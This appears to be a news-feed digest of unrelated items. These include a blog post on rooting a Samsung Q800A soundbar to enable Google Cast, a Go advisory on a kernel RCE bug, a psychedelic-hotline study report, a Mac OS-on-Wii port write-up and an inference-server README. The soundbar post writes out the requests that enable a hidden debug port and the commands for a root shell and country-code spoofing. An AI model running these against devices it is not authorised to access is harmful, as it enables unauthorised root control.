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I have a Samsung Q800A soundbar. It ships with built-in support for the Apple Airplay protocol, but I’m not really an Apple kind of guy so that’s never been particularly helpful for me. So, instead, I have a Chromecast Audio plugged into it via TOSLINK, and that works fine - except for the fact that...
Original Article

I have a Samsung Q800A soundbar. It ships with built-in support for the Apple Airplay protocol, but I’m not really an Apple kind of guy so that’s never been particularly helpful for me. So, instead, I have a Chromecast Audio plugged into it via TOSLINK, and that works fine - except for the fact that there’s no way to explicitly pick TOSLINK as the audio input. Instead, there’s a “Digital In” option that refers to both the optical in and eARC input from a TV. Not inherently a problem, given I’m unlikely to be watching TV while listening to music, but my TV is a Samsung Frame, a device that’s intended to display art whenever someone is standing nearby, and which infuriatingly generates an eARC signal even if it’s only in art mode and isn’t going to make any noise. This switches the soundbar away from optical and I get sad. I could plug a video cast device into the HDMI port on the soundbar and cast audio to that, but then the art would get replaced with album covers whenever I’m playing music, and again that’s not quite the ambience I want. Still, none of this is that important.

Until I learned that the Australian version of the soundbar does have Google Cast support. The firmware image was downloadable from Samsung support, so I grabbed that, but unfortunately found that it was encrypted. However, if I downloaded the firmware image for the US model, the encrypted blob was identical - there’s no difference in the underlying firmware between the two of them. So, how come one has support, and the other doesn’t?

I’d need an unencrypted copy of the firmware to have a real chance of figuring this out, and the easiest way to get one was to just run an ebay watch for a broken model of the same series. Once I had one in my hands I used hot air to remove the eMMC storage from the device, cleaned up the chip, and then stuck it in one of these adapters to read it on a local system. Samsung uses a weird in-house filesystem called VDFS4 on some of their devices and this was one of them, so I needed to cobble together a kernel that was compatible with their source dump for this device (not all VDFS drivers seem to be able to read all VDFS filesystems), but eventually I had it all extracted, and then I got distracted by other stuff, so let’s fast forward to this week.

Samsung makes use of a modified version of the Android Debug Bridge called sdb, which is included in the Tizen SDK. The firmware showed that this device had sdbd on it, and it would be executed if a network device called “huart0” was plugged in. Samsung does, thankfully, provide the source code for their GPLed components, so I could dig through that to discover that drivers/net/usb/usbnet.c had a bunch of references to huart (which apparently stands for “HyperUART”). If CONFIG_SAMSUNG_USBNET_HYPERUART_IFNAME is set, and if the ethernet device is using either the asix or ax88179_178a drivers, and if “/opt/etc/HyperUART_IP_Addr” 1 isn’t just “0”, it sets the interface name to “huart0” and in turn triggers sdbd startup. So now I just needed to figure out how to set /opt/etc/HyperUART_IP_Addr to something else.

Some digging revealed a binary called wap-factory that referenced the file, which then led to /usr/share/mobile-mgr/jsons/com.samsung.audio.waapp-verification-test.json which mentioned a “SetUartOnOff” call, which brought me here 2 , which led me into a bit of a rabbit hole about the Samsung WAM protocol. Long story short, you connect to either port 55001 or 56001 and make two requests over the same connection:

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GET /connect HTTP/1.1
Host: 192.168.87.126:56001
User-Agent: SamsungMultiroom/1.0
Connection: interactive

GET /UIC?cmd=%3Cname%3ESetUartOnOff%3C/name%3E%3Cp%20type%3D%22str%22%20name%3D%22uartOnOff%22%20val%3D%22on%22/%3E HTTP/1.1
Host: 192.168.87.126:56001
User-Agent: SamsungMultiroom/1.0
Connection: interactive

and then plug in an asix chipset ethernet adapter into the USB port (which on mine is micro-B, so I needed an OTG adapter), and suddenly it’s sitting there on 192.168.250.250 and will speak sdb to you. sdb root on switches it into root mode, and sdb shell now gives you a root shell. I was in, and now I could investigate what was happening.

First up, there was a process called “com.samsung.audio.google-cast-control-app” running, which seemed like a good start. Unfortunately it wasn’t doing anything. After some tracing I found that it was making a call to Samsung at startup time, and getting back a response telling it that Cast support wasn’t available. The request (which was helpfully dumped to stdout when I ran this by hand) included the country code, in my case “US”. Repeating the request by hand with curl and changing the code to “AU” told me it was supported, so now I needed to figure out how to get the soundbar to believe it was Australian. Some digging showed it was reading this from a config variable called db/comss/countrycode, and running

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buxton2ctl set-string system db/comss/countrycode AU

got me past that gate. Now, however, it was complaining that it couldn’t provision a key. /usr/apps/com.samsung.audio.google-cast-control-app/shared/res included a bunch of encrypted blobs and an app called teeStoreKey.elf, and tracing com.samsung.audio.google-cast-control-app showed it was trying to call that, but it seemed like it was failing with a permissions issue. Running com.samsung.audio.google-cast-control-ap directly as root triggered key provisioning successfully, and a few seconds later the rest of the Cast API came up and I could talk to port 8443 with standard Cast API calls. Unfortunately it still wasn’t working as a Cast device, though - it wasn’t advertising itself via mDNS and so nothing could see it. Querying the /setup/eureka_info endpoint gave me a clue - the ’tos_accepted’ field was false. Normally this would be set as part of initial device setup, but the Samsung app wasn’t doing that because it didn’t think the device had Cast support. It turns out that POSTing some json with {“tos_accepted”: true} to setup/set_eureka_info made it work, and suddenly there was an additional Cast device available to me.

(Update: I realised I didn’t mention anything about why it was doing key provisioning in the first place! The Cast protocol doesn’t enforce cryptographic identity as such, but Google’s reference client implementation which is what almost everything uses verifies that the device is presenting an identity that chains back to Google. Unsurprisingly they don’t want the private key material to be easily extractable and used to produce clone devices, so it’s all supposed to be encrypted and only accessible to some sort of trusted execution environment, which is why keys here need to be loaded into Trustzone and never be visible in the clear to the main OS)

Mission accomplished. Unfortunately the device vanished from my Smartthings home aferwards, presumably because there’s a mismatch between its reported country code and my account country. To get around that I’d somehow need to get com.samsung.audio.google-cast-control-app to either change the query without changing the global device country, or to ignore the response from Samsung (it does this every 24 hours, ugh), and that’s made more annoying by the fact that this thing will only execute signed binaries. Although, weirdly, one of the signed binaries shipped is a full Python interpreter, so if I cared enough I could probably cobble together enough Python to execute arbitrary binaries. I currently don’t.

More modern soundbars don’t implement the listener on port 55001 or 56001. I don’t know how you get sdb working on them.

Scientists Analyzed Thousands of Psychedelic Trips. They Found Something Disturbing

403 Media
www.404media.co
2026-10-30 14:00:00
A newly released database of more than 25,000 anonymized calls from the Fireside Project’s Psychedelic Support Line opens a rare window into psychedelic experiences outside of clinical settings....
Original Article

Researchers have amassed a trove of more than 25,000 calls to a support hotline for people during and after psychedelic trips, making it “the largest dataset of psychedelic support interactions ever assembled—exceeding the combined sample sizes of all published psychedelic clinical trials by an order of magnitude,” according to a study published on Friday in Science Advances .

Despite the popularity of psychedelics as recreational drugs, and increasing interest in them as medically-prescribed therapeutic treatments, there is very little research about the effects of these substances outside of clinical settings with carefully-selected patients. That, scientists say, is limiting what we can learn about the effects of these drugs, because the vast majority of psychedelics are consumed by all kinds of people in homes, festivals, ceremonial gatherings, or other uncontrolled environments.

The Fireside Project , a nonprofit founded in 2020, has filled this knowledge gap with its Psychedelic Support Line, which connects callers who are on bad trips, or who are seeking more information about psychedelics, with trained volunteers who offer confidential peer support.

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The team has now published a compendium of 25,419 anonymized interactions with 220 hotline volunteers that took place between April 2021 and February 2026. The database opens an unprecedented window into the experiences of people on psilocybin, ketamine, MDMA, LSD, ayahuasca, and even cannabis, which is not generally considered a psychedelic but can trigger similar effects, such as mild hallucinations.

It’s a “treasure trove,” said Félix Schoeller, a senior research scientist at the Institute for Advanced Consciousness Studies , a California-based nonprofit, who led the study, in a call with 404 Media. “In general, we're really lacking any evidence and data beyond what exists in the underground world, if you will, for psychedelic therapy.”

“There's different types of knowledge,” continued Schoeller, who is CEO of ReWire Neurotechnologies , a startup focused on novel experiential treatments for depression. “Some cultures and communities have been doing that for thousands of years. But there's a question about how to do this in a way that follows the principles of biomedical science.”

The interactions included phone calls and text exchanges with hotline volunteers who provided support by talking through the experience or connecting callers with emergency services in the most urgent cases. About 40.2 percent of callers (10,208 interactions) were actively tripping, while 32.1 percent of callers reached out after they had tripped, a period known as “integration.”

The rest of the calls fell into smaller categories, such as informational inquiries about certain substances, requests to prepare or buy drugs, or calls from “trip-sitters” assisting a person on psychedelics.

Psilocybin was the most commonly reported substance (9,348 callers), followed by LSD (2,247callers), cannabis (2,004 callers), and ketamine (1,194 callers), and MDMA (682 callers), with ayahuasca and other drugs logging much smaller numbers.

Surprisingly, callers who had used cannabis  reported the highest distress rate—47.2 percent had bad experiences with the drug. Though cannabis has a reputation as a low-stakes substance, the study confirms that it can induce real distress in some cases that warrant consideration for harm reduction. The distress rates for the rest of the commonly used psychedelics were only slightly lower than cannabis, ranging between 40 to 42 percent.

The study also revealed 43 rare but disturbing instances of “facilitator abuse,” including at remote retreats or ceremonial gatherings involving ayahuasca. In these cases, callers reported abuse from the people providing psychedelics, such as reports they had deliberately been given extra doses without consent.

Those reports “provide the first quantitative documentation of this phenomenon in a community help-seeking sample,” according to the study. “The pattern of these reports—clustering in ceremonial settings involving plant medicines, presenting primarily as trauma-processing calls, and involving callers with elevated rates of prior PTSD diagnoses—suggests that even modest surveillance through existing peer support infrastructure can detect harm occurring in unregulated psychedelic settings.”

Some calls also came from people who said they suffered from schizophrenia, or had taken multiple psychedelics, offering a rare glimpse of situations that could not be observed in clinical settings.

“This kind of data can inform us on these topics in the context of legalizing these drugs and making them accessible,” said Schoeller. “I'm glad that there's this data that exists that people can look into to support or contradict the claims that they make as to how these things should be done.”

The study also outlines several limitations, including its sample bias of people who are inclined to call a hotline in the first place—which is not representative of psychedelic consumers at large—as well as self-reported accounts of doses, among other factors that are impossible to verify.

Despite the noisiness of the data, however, it contains helpful clues about avenues for future research. In Schoeller’s view, one of the most important revelations was that the success of a call was strongly linked to the perception that the hotline volunteer showed genuine care and empathy toward the caller. Using 2,777 postinteraction satisfaction surveys, the team found that the few negative experiences with the hotline tended to stem from feelings that the volunteer was dismissive, or didn’t seem to care about the caller.

“My takeaway is that the number one thing that predicts whether a support call will not work” is “the volunteer being perceived as genuine,” Schoeller said. “That's something that, in many ways, poses a problem to the biomedical system of centralized hospitals. I'm not trying to be ideological in any way, but when you create a centralized institution where you throw everybody to a single place to get care”  then “clinicians become burned out.”

For this reason, Schoeller and his colleagues plan to follow up on the role of perceived care and empathy in treatment, and to emphasize this factor in guidance for community-based peer support for people in crisis due to psychedelics. It also reinforces the value of the Fireside Project’s hotline, which provides a safe and confidential service for people who might be reluctant to contact emergency services because of the criminalization of these substances or fear of incurring medical debt.

“For many people, they have experiences with psychedelics, and they may not be required to go to the ER, but they still need someone to help them navigate the difficult experience,” Schoeller concluded. “The hotline can truly be a lifeline for them.”

GitHub Incident with Actions, Pages, and Webhooks

Hacker News
www.githubstatus.com
2026-10-30 13:57:35
Comments...

Protecting against CVE-2026-98432

Lobsters
groups.google.com
2026-10-30 13:54:52
Comments...
Original Article

Hi Gophers,

The recent disclosure of CVE-2026-98432 describes a use-after-free issue which impacts IPv4 TCP connection handling in the Linux kernel. In an exploit described by Anthropic , a server using Multipath TCP (MPTCP) listeners is shown to be vulnerable to Remote Code Execution (RCE).

The best fix for this vulnerability is to upgrade to a patched kernel version.

While the demonstrated exploit requires the target system to expose an MPTCP listener, the underlying bug is not specific to MPTCP. It is possible that systems with no MPTCP listeners are vulnerable to similar attacks.

As of Go 1.24 , Go programs enable MPTCP by default for listen sockets on Linux. This default may be changed by setting the "multipathtcp" GODEBUG:

  • Setting "GODEBUG=multipathtcp=0" in a program's environment will disable MPTCP by default at runtime.
  • Placing "godebug multipathtcp=0" in the main module's go.mod file will disable MPTCP by default at build time.

Programs may also explicitly enable or disable MPTCP on a per-socket basis, using net.Dialer.SetMultipathTCP and net.ListenConfig.SetMultipathTCP . These functions override the GODEBUG setting.

Note that disabling MPTCP on a program-by-program basis is a fragile mitigation. Accidentally leaving a single MPTCP listener exposed will still leave a system vulnerable. Further, it assumes that all viable exploits for this bug depend on MPTCP. Again, we strongly recommend upgrading to a patched kernel version.

At this time, we believe it is premature to consider making any changes to Go (such as changing the default MPTCP behavior) in reaction to this issue. Further discussion of the issue and how we might respond to it will happen on https://go.dev/issue/82717 .

- Go Security Team

The Only Good Easter Eggs Are Whole-Assed Easter Eggs

Daring Fireball
unsung.aresluna.org
2026-10-30 13:53:41
Marcin Wichary on the original iPod easter egg on Apple Music’s website 404 page: I am usually not a fan of easter eggs — most of them are poorly made — but this might be the best iPod recreation I’ve seen, and it’s an interesting thing to study: I think it generally covers all the modes etc. ...
Original Article

Just a week ago , I bemoaned the lack of any good iPod click wheel explainers, and today the news broke about Apple Music hiding a functioning iPod on their 404 page .

I am usually not a fan of easter eggs – most of them are poorly made – but this might be the best iPod recreation I’ve seen, and it’s an interesting thing to study:

  • I think it generally covers all the modes etc.
  • (with small exceptions) the typography looks accurate,
  • it has the little “haptic” beeps,
  • it has proper acceleration and the scrollbar,
  • it has a little music library with various playlists,
  • I have only noticed a few small bugs.

Most importantly, it works well on mobile, too, so you can pretend you’re holding an iPod in your hand. Worth spending a bit of time with it, especially if you have never used an iPod in your life.

(You might have to copy/​paste the link to the browser. Some of the page chrome and ads feel a bit in the way, but it’s not a big deal, and you can remove them using the Hide Distracting Items feature in Safari.)

Kudos to whomever put this together. This is how you do easter eggs.

I tagged this as emulation , even though this is a grounds-up recreation in HTML, CSS, and JavaScript.

[$] Removing binder.c

Linux Weekly News
lwn.net
2026-10-30 13:46:46
The final talk at Kangrejos 2026 was about the removal of the C implementation of Android's Binder driver, the primary interprocess communication mechanism used on Android devices. Carlos Llamas announced that he had deleted the C code to general applause, and then shared some insights about what ...
Original Article
The page you have tried to view ( Removing binder.c ) is currently available to LWN subscribers only. Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

If you are already an LWN.net subscriber, please log in with the form below to read this content.

Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

(Alternatively, this item will become freely available on November 12, 2026)

Anthropic may not secure investment-grade rating after IPO, Blackstone says

Hacker News
www.ft.com
2026-10-30 13:27:25
Comments...
Original Article

For help please visit help.ft.com . We apologise for any inconvenience.

The following information can help our support team to resolve this issue.

Error Code
CG000 / 403
Request ID
a52c59564cd05979

My favourite PowerMac is a Nintendo Wii

Hacker News
virtuallyfun.com
2026-10-30 13:25:15
Comments...
Original Article

(This is a guest post by Rairii)

Mac OS 7.6 booting on the Wii
Mac OS 9.2.2 booted on the Wii

So today I reached a nice milestone in one of my projects: my work porting classic Mac OS to PowerPC systems with what I affectionately call ArtX chipsets (Nintendo GameCube, Wii, eventually Wii U; the GameCube’s Flipper integrated chipset was very much designed by ArtX as it was effectively finished when ATI acquired the company, and the Wii’s Vegas (and its later revision Bollywood) and Wii U’s Latte are effectively straight successors) reached the desktop for the first time, most likely the first time since the CHRP clone era that someone outside of Apple brought up classic Mac OS on a new system to the desktop. Despite still being nowhere near ready for a public release, I want to talk about the challenges I faced with this project so far.

But first, why port classic Mac OS to this hardware in the first place? I’d already ported NT of course, and during that work I acquired some PowerPC Mac laptops which I also ended up porting NT to, work on one port improved the others and so on. This got me acquainted with the classic Mac OS, and I fell in love with the jank as it were (hacks upon hacks upon hacks going back to the 1980s is something I’d definitely describe as “jank”). Not to mention the m68k part of the TBXI is called “SuperMario”, and was for the entire PowerPC era. I wonder if a developer was a fan in the early 1990s?

Also, for the record: I started this project on 2025-06-22 (when I forked upstream openbios), no kind of coding agent or LLM was used, all coding, reversing and debugging work done by myself. I do these projects for fun and to learn, if I used “AI” it wouldn’t be fun and I wouldn’t learn anything.

Let’s start with the initial boot. “New World” classic Mac OS starts out with a bootloader called the “Trampoline”, which runs on an Open Firmware environment. So I needed to port OpenBIOS. Luckily, around this time Goldfish64 had started his own port of Mac OS X to the Wii, and he’d made an OpenBIOS port that I could use some drivers from, although for various reasons I didn’t just want to use his port directly (which was only targeting Wii/Wii U, I wanted to target GameCube too). I also decided to reuse some existing code to make some driver development easier (specifically the display driver), and thus changed my existing NT ARC firmware loader to load a big endian ELF instead.

I needed some small number of disk drivers for initial bringup, so decided to port my two drivers for devices on the EXI bus (this is just Nintendo and Macronix’s name for SPI), the “SD Gecko” (which is just a straight through adapter for a GameCube memory card slot allowing for SD over SPI), and the “EXI-IDE” (my driver is actually not correct to real hardware, but to my inaccurate emulation in my Dolphin tree allowing for testing under emulator with the low level debugging support that implies).

I wasn’t sure what kind of on-disk format I wanted to use (these drivers on my earlier NT port ran entirely using disk images on a FAT filesystem, due to the requirement for compatibiltiy with existing homebrew loaders that load executables from FAT filesystems, but this would naturally be limited to 4GB images for FAT32, and later versions of classic Mac OS needed more), so for initial testing I just took the “Mac OS ROM” TBXI file and placed it directly on a FAT filesystem as \ppc\bootinfo.txt for OpenBIOS to load it on boot.

So with that I could get the Trampoline running. I decided that I should try and apply as many patches to the image as possible as close to run-time as possible, so mostly untouched existing CD images could be used eventually.

The first issue I had was that the Trampoline makes some assumptions of the physical address space layout that are not true for this system. The physical address of a buffer gets calculated as an invalid address, so I patched that to an address guaranteed to be valid, and also the corresponding code setting up the memory chunk list/page table entries for the kernel.

Additionally, the Trampoline expects that physical addresses from 0x8000_0000 onwards corresponds to memory mapped I/O (on existing systems this code ran on, this would correspond to PCI-bus address space). This is not the case here, and in fact on Wii U, this address would correspond to part of RAM. There was also another assumption that broke on these systems, with holes between areas of RAM in the physical address space, some of which were partially filled by memory-mapped I/O.

The way I fixed this was to patch the initialisation of this MMIO mapping in the kernel memory chunk list, to a map of physical address 0x0100_0000 (partway through one area of RAM) to virtual address 0xE000_0000 , with length 0x1000_0000 . This specifically maps the whole of the MMIO, plus the end of one RAM area and (for post-GameCube systems) the start of another. (I may change this in future, as on the Wii U, physical address range 0xD000_0000-0xEFFF_FFFF is mapped to a part of the Radeon R7xx GPU called “HDP”, which can be used to map a view of physical memory with specific swizzling and/or endianness swapping, such that a texture in some GPU-specific format can appear to be a linear framebuffer. It depends on whether I need to use this block ) The function used for initialising a mapping in the Trampoline changed at some point and I ended up detecting the older version and hooking the function so I could work around it (earlier versions used a 16-bit page count, later versions used 32-bit). Additionally, older versions of the Trampoline sets up unconditional 1:1 mappings for physical memory above 0x8000_0000 , which needs to be removed as they conflict with the mappings set up earlier.

There follows various assorted patches that assume specific hardware. These include: patching out setting some bitflags which correspond to the presence of a microcontroller found on all PowerPC Macintosh hardware, attempting to recalculate the bus frequency using a specific hardware timer, and various register writes and fixups related to a specific interrupt controller device (it’s little endian because it’s on the PCI bus, and naturally, not present here).

Finally, the final call to jump into the loaded kernel initialisation code is hooked so additional patches can be made later after everything is loaded into memory.

Additionally, the device tree must be hacked up a bit to be in a shape the Trampoline will accept. The interrupt controller is faked to be one of the recognised ones (the little endian one from above, because at a register level it’s closest to the Flipper interrupt controller present on all the ArtX chipsets, albeit on Wii U it was changed somewhat to add support for the additional PowerPC cores). The address of the frame buffer in the device tree is changed to the uncached virtual address (in the 0xExxx_xxxx mapping), and finally a fake Mac99-compatible power management device is added to the device tree, so the Trampoline prepares a power management driver for it, that can be replaced later.

As mentioned above, the kernel initialisation is hooked so extra patches can be made. On the kernel side, there is only one patch to be made: the kernel contains several interrupt controller drivers, the one chosen is patched to match the Flipper interrupt controller, with one of the unused ones sacrificed to gain more space for this. The main difference here is that the expected interrupt controller (whose driver is patched) has a legacy mode where it raises a PowerPC interrupt whenever the interrupts change (not just when interrupts are raised) so this needs to be worked around by masking the raised interrupts in the kernel and then unmasking them later on in drivers’ interrupt handlers.

Additional patches are made in the “SuperMario” m68k code, and in PowerPC native executables. The m68k code has various codepaths that read and write directly to native interrupt controller registers, these need to be patched. The function pointers for enabling and disabling audio interrupts need to be stubbed out (there’s already an entry in that table that points to a stub, which is helpful). A function called early in the boot process to initialise the ADB and power management microcontroller does not check if the hardware actually exists, and if it doesn’t it clobbers parts of low memory. A function for initialising hardware interrupts has a bug due to a copy-paste blunder, the intent was to skip past the code for initialising the interrupt for serial port 2 if the hardware isn’t present, but the developers forgot to change the jump label when copy-pasting the code from serial port 1, which causes an infinite loop if serial port 2 doesn’t exist. As for native code, there’s more code that reads and writes to interrupt controller registers which needs to be correctly patched. The USBShimKeyboard driver initialisation code fails to handle the state where no USB controller exists and in that case will call a NULL pointer inside the m68k emulator. The power management driver mentioned above is also replaced entirely here (currently I use the stub driver from BlueBox but plan to write my own later to add proper support for shutting down and restarting).

All of this is enough to get the TBXI to boot to blinking floppy – after that I wrote a display driver (thanks to Elliott Nunn for his virtio driver, it was very helpful) so I could see it correctly, followed by a driver for the gamecube controller ports (porting from my NT driver for the same) so I could move the mouse cursor around without USB.

At this point I started to implement a block IO driver (for EXI devices), but ended up getting stuck thinking about how to deal with how the disk format should be laid out and how the driver should work. Then Mac OS for CHRP got dumped, and I got sidetracked with patching up the later TBXI images to boot it , thinking running 7.x would be useful on a GameCube which doesn’t even have enough RAM to support 8.0 at minimum requirements, and after that I got sidetracked with other projects. Almost a year later I came back to it, implemented my preferred disk format in OpenBIOS and decided to hack up a driver faking SCSI (some other drivers did this, most notably classic Mac OS drivers for various SATA controllers). There were a few issues I found when writing the fake-SCSI driver too: I had to add another patch to the m68k code to force loading the disk driver (and I mean this, a driver loaded from the disk itself, basically implementing the actual disk devices on top of some partitioned block device) as a newer type rather than the older type (the older type was effectively obsolete when the first PowerPC systems released anyway, and I don’t even support the old-style calls from my fake SCSI driver, which is probably why it crashed trying to load it as an older type driver), and also found an interesting quirk where the optical disc driver (loaded from the block device itself) emulates 512-byte sectors on 2048- or 2352-byte sector block devices by making a read call setting up 3 scatter-gather buffers, except it never checked if the underlying SCSI driver actually supports scatter-gather, so I had to implement support for that on reads.

I still saw a blinking floppy though, some debugging showed me what was being rejected, a PowerPC function StartLib!GetStartupDevice was being called to get the boot device, and it made some assumptions of both the device tree and that there was some kind of built in SCSI device that needed separate handling. The first one was simple enough (fix the device tree in my driver’s initialisation code), the second one was more interesting in that I had to grovel into internal structures to fix an index in 3 different places (including the device tree) to ensure it was non-zero and so the correct code path would be executed.

With this done I saw a happy Mac icon for the first time, but then got rejected by the HFS boot sector (something errored and it returned). This turned out to be a bug in my own driver: I was debugging in dolphin with a hacked up EXI-IDE device; reading and writing data in PIO mode for IDE devices deals in 16-bit words, and I didn’t expect my code to get passed a completely unaligned odd buffer address (low 4 bits equal to 1), so I had to modify my low level driver to not even attempt EXI DMA for such an address. The bug manifested as a byte effectively failing to be written out, with remaining data getting offset by one byte; at least this happened when reading the header of a resource fork, and what failed was the validity checks for this data, making it much easier to debug (I ended up dumping RAM and comparing with the expected data from the disk image I was using).

After this, Mac OS 9.2.2 started to boot in my hacked up Dolphin tree, very slowly. It took an hour before it finally crashed, and then I tried 7.6, which also crashed, but earlier. I realised that it was probably crashing trying to load MacsBug, removed it, and after about 20 minutes I was staring at the desktop.

Mac OS 7.6 booted in my hacked up Dolphin tree

The following morning I tested on real hardware (using SD over SPI). This basically booted 7.6 within 40 seconds, and this was supposed to be the slowest access mode for an SD card! My previous experience was writing an NT driver for SD over SPI though, and perhaps that is more of an outlier. See this video installing NT on a GameCube using such a block device, and note that the NT text setup file copy is sped up 64 times – it’s VERY slow. The difference here is that I get to hog the whole CPU when performing a transfer – in fact there’s no other option, if I return a value specifying the transfer is asynchronous, the caller proceeds to busy-wait for interrupts in a loop waiting for the transfer to complete (although the busy-wait does check for all controllers present on the system).

Later on I added some hacked up crash handler so I could try to debug what was going on with MacsBug… it turned out to be an emulation error, no such crash occured when loading MacsBug on real hardware. I then found out the reason Mac OS 9.2.2 was crashing on boot was because of Open Transport, removing it from the Extensions folder caused it to boot perfectly fine. My guess is that Open Transport can’t handle no serial or network device being present at all.

As I mentioned, my port is still nowhere near release. Next up will be bringing up the Wii’s SD controller, then the USB controller (I’ve already done some reversing work related to that, I know there’s a vibecoded EHCI driver now, that’ll probably only aid in reversing work really), then getting the port brought up on the Wii U. At some point I want to play around with patches for blowing through at least some of the RAM barriers too.

GM to Pay $220 Million After Betraying Their Own Drivers’ Privacy

Daring Fireball
www.reuters.com
2026-10-30 13:18:56
Jonathan Stempel, reporting for Reuters: General Motors will pay $220 million to settle ​allegations that it illegally sold drivers’ private behavior and location data to brokers, who then sold the information to insurers that used it to set and sometimes increase rates. The settlement, announc...
Original Article

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Show HN: Spinf-serve – inference server for bulk scoring and decisions

Hacker News
github.com
2026-10-30 13:03:12
Comments...
Original Article

Bulk classification and decision inference on one GPU.

spinf-serve reads a piece of content once and answers many questions about it in the same pass. Each answer is a probability over the options you give, not generated text. It runs on one 24 GB NVIDIA GPU and serves an OpenAI-compatible API, the same API as the hosted spinf service. Apache 2.0.

Why it exists

We built this engine for our own work: a daily market index read from millions of news articles, each article asked dozens of narrow, calibrated questions. A serving engine built for chat re-reads the content for every question and generates one token at a time, which made that job slow and expensive. spinf-serve lays every question out as a branch of one read of the content and packs many contents into one forward pass. Bulk classification is where it started and where it is strongest.

The same mechanism is what is now called a decision model : a model that returns a probability over a fixed set of answers (yes or no, a label, a level) instead of a paragraph. Any open instruction model works this way in spinf-serve, and dedicated decision models run as they are. The hosted spinf API grew out of this engine; we are publishing it because people asked to run it on their own hardware.

It is not a chat server. Nothing is generated unless you ask for it, and it is built for throughput rather than for the latency of a single request.

Install and run

Linux, an NVIDIA GPU with 24 GB and fp8 tensor cores (Ada, Hopper or Blackwell: RTX 4090 / 5090, L4, L40S, RTX 6000 Ada, H100), a driver supporting CUDA 13, Python 3.12. Ampere cards run with int8 weights instead ( configuration ).

pip install "spinf-serve[server]"
spinf-serve serve spinf/gemma-4-12b-fp8          # downloads the checkpoint on first start; serves on port 8000

Or the image, with the NVIDIA Container Toolkit installed (the volume keeps the model and the compile caches; arguments after the image name are those of spinf-serve serve ):

docker run --gpus all -p 8000:8000 -v spinf-cache:/root/.cache ghcr.io/spinfinc/spinf-serve

Then ask. Two classifications and one extraction from a single read of the content:

curl http://localhost:8000/v1/score \
  -H "Content-Type: application/json" \
  -d '{
    "model": "spinf/gemma-4-12b-fp8",
    "messages": [
      { "role": "user",
        "content": "Customer support message:\nI was charged twice for September, please refund one of the charges." }
    ],
    "scoring": {
      "queries": [
        { "id": "topic",
          "template": "\n\nTopic (billing, technical, account, shipping, or cancellation):{?}",
          "options": [" billing", " technical", " account", " shipping", " cancellation"] },
        { "id": "refund",
          "template": "\n\nIs the customer asking for a refund?\nAnswer:{?}",
          "options": [" yes", " no"] },
        { "id": "month",
          "template": "\n\nQ: Which month was charged twice?\nA: \"{*}\"" }
      ]
    }
  }'

For each scored question the response gives every option's probability, and the same probability on empty content (real numbers from the 12B model):

{ "id": "refund", "combinations": [ { "values": {}, "options": [
    { "text": " yes", "logprob": -0.90, "p": 0.72, "floor_p": 0.60 },
    { "text": " no",  "logprob": -1.86, "p": 0.28, "floor_p": 0.40 } ],
    "residual": 0.44 } ] }

p is the probability among your options. floor_p is the same question with no content, so p - floor_p is what the content added (here topic moves " billing" from 0.47 to 0.91). residual is the probability that went to words outside your options. For month the response lists the most likely answers with their probabilities ("September" first). The same body, with an API key, runs against api.spinf.com ; the OpenAI SDKs work through /v1/chat/completions with the scoring block in extra_body ( quickstart ).

What you get

  • One read, many questions. The content is read once; every question is a branch of the same pass and costs its own tokens only. Placeholders turn one template into a grid of questions.
  • Scores you can threshold. A probability per option with its floor and log-probability; a decision is a threshold you choose on your own data ( calibration ).
  • Extraction from the same read: {*} text, {n} numbers and {$} amounts decoded with their probabilities, or free text generated into a slot.
  • The same score whatever else is in the batch. With the fp8 checkpoints, a content's scores are bit-identical alone or packed with thousands of others, across calls, days and servers. The system_fingerprint says when two responses are not comparable.
  • Images, audio and video frames in the content, for the models that read them.
  • Prompt packs. Ready-made, calibrated question sets for a job (content moderation, triage, product listings, reviews, brand, entertainment), preloaded and named in a request ( below ).
  • Hosted or self-hosted. A client switches between this server and api.spinf.com by changing the base URL and the key. spinf-client talks to both; the agent skills teach a coding agent the API, this server and the pack format.

Speed

Measured on one RTX 4090 with Gemma 4 12B in fp8: 24 Wikinews articles of about 470 tokens, 56 two-option questions each, 1,344 questions in all (the public job set in fixtures/ ), sent over HTTP to spinf-serve and to vLLM 0.26 with prefix caching. The script and the full results are in benchmarks/ .

one RTX 4090, warm spinf-serve vLLM 0.26, prefix caching, 128 requests in flight
questions answered per second 491 200
tokens of work per second (content once, then each question's own tokens) 11,200 4,600
the 1,344 questions 2.7 s 6.7 s

vLLM already reuses each article across its 56 questions through the prefix cache. What it cannot do is answer them in one forward pass: it runs 1,344 single-token requests, while spinf-serve lays the 56 questions out as branches of one read and packs the 24 articles into two 16k-token passes. The gap grows with the number of questions per content.

In practice, per 4090 with the 12B model: the spinf/moderation pack (106 questions per message, 22 categories) scores about 20,000 messages per hour; a news article asked 74 questions is read at nearly 700 questions per second. Extraction slots add decoding work (a searched slot costs about as much as 200 to 600 tokens of scoring, a generated one up to about 2,000) but share the read.

Prompt packs

A job is rarely one question: content moderation is 106 of them, each calibrated against normal traffic and combined into category scores and a decision. A prompt pack is one file holding the questions, how the content is presented to the model, how the answers turn into scores and how the scores turn into a decision. The server preloads packs and a request names one ( "packs": [{"id": "spinf/moderation"}] ), getting the pack's categories and decision back next to its own questions, from the same read.

The official packs are in spinf-prompts , loaded by default. The server loads packs from any GitHub repository or local folder given with --packs ; PACKS.md lists every pack we know of , ours and others', and an issue adds yours. Format, request fields and sources: docs/prompt-packs.md .

Models

name based on GPU reads
spinf/gemma-4-12b-fp8 (default) Google Gemma 4 12B, FP8 with static activation scales one 24 GB text, images, audio, video
spinf/gemma-4-31b-fp8 Google Gemma 4 31B, FP8 static one 48 GB text, images, video
spinf/qwen3.8-27b-int4 Qwen3.8-27B, GPTQ int4 one 24 GB text, images, video
spinf/pplx-decider-v1-27b-int4 Perplexity pplx-decider-v1-27b, GPTQ int4: a decision model with a 255-code readout one 24 GB text; scores only, with its own prompts and packs

Each is a checkpoint we quantized and calibrated, published on the Hugging Face Hub with its recipe ( quantizations/ ); the engine pins the revision it was parity-tested on. Any other Hub checkpoint of a supported architecture family runs by its path, quantized at load time.

Documentation

docs/ : quickstart , examples , scoring API , configuration , writing questions , calibration , prompt packs , FAQ ; the guides (decision models, probabilities you can act on, few-shot classification, sentiment, survey coding, moderation, intent routing); and the engineering documents on how the engine works ( architecture , batch invariance , precision , the Qwen stack , extraction ).

Status

